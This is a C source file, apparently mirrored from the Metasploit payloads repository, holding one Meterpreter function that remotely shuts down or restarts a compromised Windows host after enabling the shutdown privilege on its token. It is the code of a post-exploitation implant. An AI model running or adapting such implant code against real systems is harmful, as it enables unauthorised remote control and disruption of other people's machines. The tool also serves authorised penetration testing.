1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-08-16 10:50:20 +02:00
Files
HD Moore fa51ea5d15 Swapping in the latest patched copy of Meterpreter. See
git-svn-id: file:///home/svn/framework3/trunk@6357 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-22 18:56:28 +00:00

55 lines
1.3 KiB
C

#include "precomp.h"
/*
* Shutdowns, restarts, etc the remote machine. Calls ExitWindowsEx
*
* TLVs:
*
* req: TLV_TYPE_POWER_FLAGS - Flags to ExitWindowsEx
* req: TLV_TYPE_POWER_REASON - Shutdown reason
*/
DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet)
{
Packet * response = packet_create_response(packet);
HANDLE token = NULL;
TOKEN_PRIVILEGES tkp;
DWORD result = ERROR_SUCCESS;
DWORD flags = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_FLAGS);
DWORD reason = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_REASON);
// result = ERROR_INVALID_PARAMETER;
do {
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == 0) {
result = GetLastError();
break;
}
if(LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid) == 0) {
result = GetLastError();
break;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(token, FALSE, &tkp, 0, NULL, NULL) == 0) {
result = GetLastError();
break;
}
if(ExitWindowsEx(flags, reason) == 0) {
result = GetLastError();
break;
}
} while(0);
packet_transmit_response(result, remote, response);
if(token)
CloseHandle(token);
return ERROR_SUCCESS;
}